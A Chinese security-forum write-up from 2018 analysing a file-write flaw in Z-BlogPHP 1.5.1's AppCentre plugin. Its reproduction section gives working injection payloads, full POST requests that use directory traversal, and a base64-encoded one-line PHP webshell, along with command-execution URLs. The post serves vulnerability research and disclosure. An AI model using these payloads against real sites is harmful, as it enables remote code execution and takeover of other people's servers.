用户
搜索
  • TA的每日心情
    开心
    2018-1-2 10:27
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-核心白帽

    Rank: 4

    68

    主题

    88

    帖子

    993

    魔法币
    收听
    0
    粉丝
    15
    注册时间
    2016-6-6
    发表于 2018-4-24 14:19:41 234064

    0x00 背景

    看了Hiwin师傅发的《Z-Blog两处Getshell分析(附EXP)(CVE-2018-8893、CVE-2018-9169、CVE-2018-9153)》的文章,我也分析了下GetShell的方法,漏洞的利用和Hiwin师傅的不大一样https://xz.aliyun.com/t/2277,欢迎讨论交流。


    0x01 GetShell漏洞的分析

    0x00 相关环境

    源码信息:Z-BlogPHP_1_5_1_Zero
    问题文件:\zb_users\plugin\AppCentre\plugin_edit.php
    漏洞类型:文件写入导致代码执行
    站点地址:https://www.zblogcn.com/


    0x01 漏洞分析

    在文件\zb_users\plugin\AppCentre\plugin_edit.php的第47行-68行中发现如下代码块,仔细分析该代码块可以知道,两处的file_put_contents($path, $file);文件名和文件内容都是用户可以控制的。
    控制.png


    首先是在第57-61行中,先读取tpl/main.html文件中的内容,然后将<%appid%>替换为$app->id的值,然后通过POST请求得到要写入的文件路径名称,再进行file_put_contents操作。


    操作.png


    然后第63-67行中也差不多,只是写入的文件是固定为include.php文件。


    php.png


    反向跟踪下$app->id在该文件的第50行中,要求传入的值开头需要以字母数字和下划线组成,长度为3-30字符。


    zifu.png


    因此只需要前面三个字符满足要求后面的字符可以直接为PHP代码,这样就可以将PHP代码写入到目标文件中了。


    mubiao.png


    接下来要查看下zb_users/plugin/AppCentre/tpl/main.html和zb_users/plugin/AppCentre/tpl/include.html文件中存在<%appid%>的位置,然后根据代码情况写入PHP代码。
    zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置。


    weizhi.png


    zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置。


    weizhi  2.png


    首先看第一处zb_users/plugin/AppCentre/tpl/main.html文件中<%appid%>的位置这个位置因为有2处的写入点,且两处的闭合规则是不一致的,所以可以使用?>的方式闭合前一个位置,这样后面的内容包括后一个位置都是作为普通文本了。这里经过测试在windows下,windows下file_put_contents中的路径位置如果有?,*,null的话便会报错,无法写入文件。


    xieru.png


    看第二处zb_users/plugin/AppCentre/tpl/include.html文件中<%appid%>的位置有5处,其中第1,2处与其余3处的闭合方式是不同的。且 如果不定义RegisterPlugin 这个方法就会报错,但是定义了这个方法,因为写入位置有4处,其中三处都会定义这个方法,又提示Cannot redeclare RegisterPlugin(),因此在不引入?>或/*的情况下实在想不出构造的方法。


    gouzao.png


    因此这个文件写入导致GetShell,经过测试仅得到了可以在Linux下利用的方式。windows下的利用方式期待有师傅能一起交流。

    0x02 漏洞复现

    构造模板文件zb_users/plugin/AppCentre/tpl/main.html利用方式的paylod:
    balabal')){}$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f);?>
    因为\zb_users\plugin\AppCentre\plugin_edit.php文件中的60行中存在目录跳转的漏洞。


    loudong.png


    所以可以使用../进行目录跳转然后将写入的文件替换zb_users/plugin/Totoro/main.php文件,进行如下请求写入恶意代码,然后进行替换zb_users/plugin/Totoro/main.php文件。
    [PHP] 纯文本查看 复制代码
    POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
    Host: 192.168.112.136
    Content-Length: 548
    Cache-Control: max-age=0
    Origin: [url]http://192.168.112.136[/url]
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Referer: [url]http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.phpaaa[/url]
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8
    Connection: close
    
    
    app_id=balabal')){}$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3b%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=../Totoro/main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=


    当管理员访问 评论管理->Totoro设置的时候(http://192.168.112.136/zb_users/plugin/Totoro/main.php)的时候便会触发脚本生成evil.php的恶意文件。


    eyi  1.png


    eyi  2.png


    手动连接一句话便可以执行命令http://192.168.112.136/zb_users/ ... sert&cmd=system(%27ls%27)


    27.png


    构造模板文件zb_users/plugin/AppCentre/tpl/include.html利用方式的paylod:
    [PHP] 纯文本查看 复制代码
    12a(){};function RegisterPlugin(){};$f=fopen('evil.php','a');fwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8+'));fclose($f)?>


    进行如下请求便会将代码写入到include.php文件中
    [PHP] 纯文本查看 复制代码
    POST /zb_users/plugin/AppCentre/plugin_edit.php HTTP/1.1
    Host: 192.168.112.136
    Content-Length: 563
    Cache-Control: max-age=0
    Origin: [url]http://192.168.112.136[/url]
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Referer: [url]http://192.168.112.136/zb_users/plugin/AppCentre/plugin_edit.php[/url]
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: username=zblog; password=321c7793b025c200fcf087a437cf2b24; addinfo=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22zblog%22%7D; timezone=8
    Connection: close
    
    
    app_id=12a(){}%3bfunction+RegisterPlugin(){}%3b$f%3dfopen('evil.php','a')%3bfwrite($f,base64_decode('PD9waHAgJF9HRVRbJ2Z1bmMnXSgkX0dFVFsnY21kJ10pOz8%2b'))%3bfclose($f)%3f>&app_name=1&app_url=2&app_note=3&app_adapted=151740&app_version=1.0&app_pubdate=2018-04-19&app_modified=2018-04-19&app_author_name=zblog&app_author_email=null%40null.com&app_author_url=&app_path=main.php&app_include=include.php&app_level=1&app_phpver=5.2&app_price=0&app_advanced_dependency=&app_advanced_conflict=&app_advanced_rewritefunctions=&app_advanced_existsfunctions=&app_description=


    code.png


    然后访问http://192.168.112.136/zb_users/ ... 9%3F%3E/include.php需要对文件名进行url编码。访问结束后会生成一个evil.php且文件的内容为一句话木马。


    木马.png


    请求evil.php并连接一句话。http://192.168.112.136/zb_users/ ... sert&cmd=system('ifconfig')


    fig.png


    以上这两种利用方式都需要与csrf结合,而Hiwin师傅利用的方式是与csrf,XSS进行利用从而GetShell。详细内容参见https://xz.aliyun.com/t/2277

    0x02 小结

    本篇以z-blog源码进行审计和漏洞分析,其中windows下的GetShell方法暂时没整出来,windows限制太多了(师傅们如果有好思路期待一起讨论),但是Linux是可以与CSRF漏洞结合利用,便可以成功GetShell,本篇的一些利用方式与Hiwin师傅的不大一样,膜一波Hiwin师傅的思路,很棒的;-) 期待师傅们一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我[email]thinking_balabala@163.com。


    qrcode_for_gh_223e082fe8a7_344.jpg


    zifu.png
    发表于 2018-4-26 15:09:26
    那文章呵呵呵了后台xss基本都有吧,危害小
    使用道具 举报 回复
    发表于 2018-4-27 07:35:45
    回帖专用
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册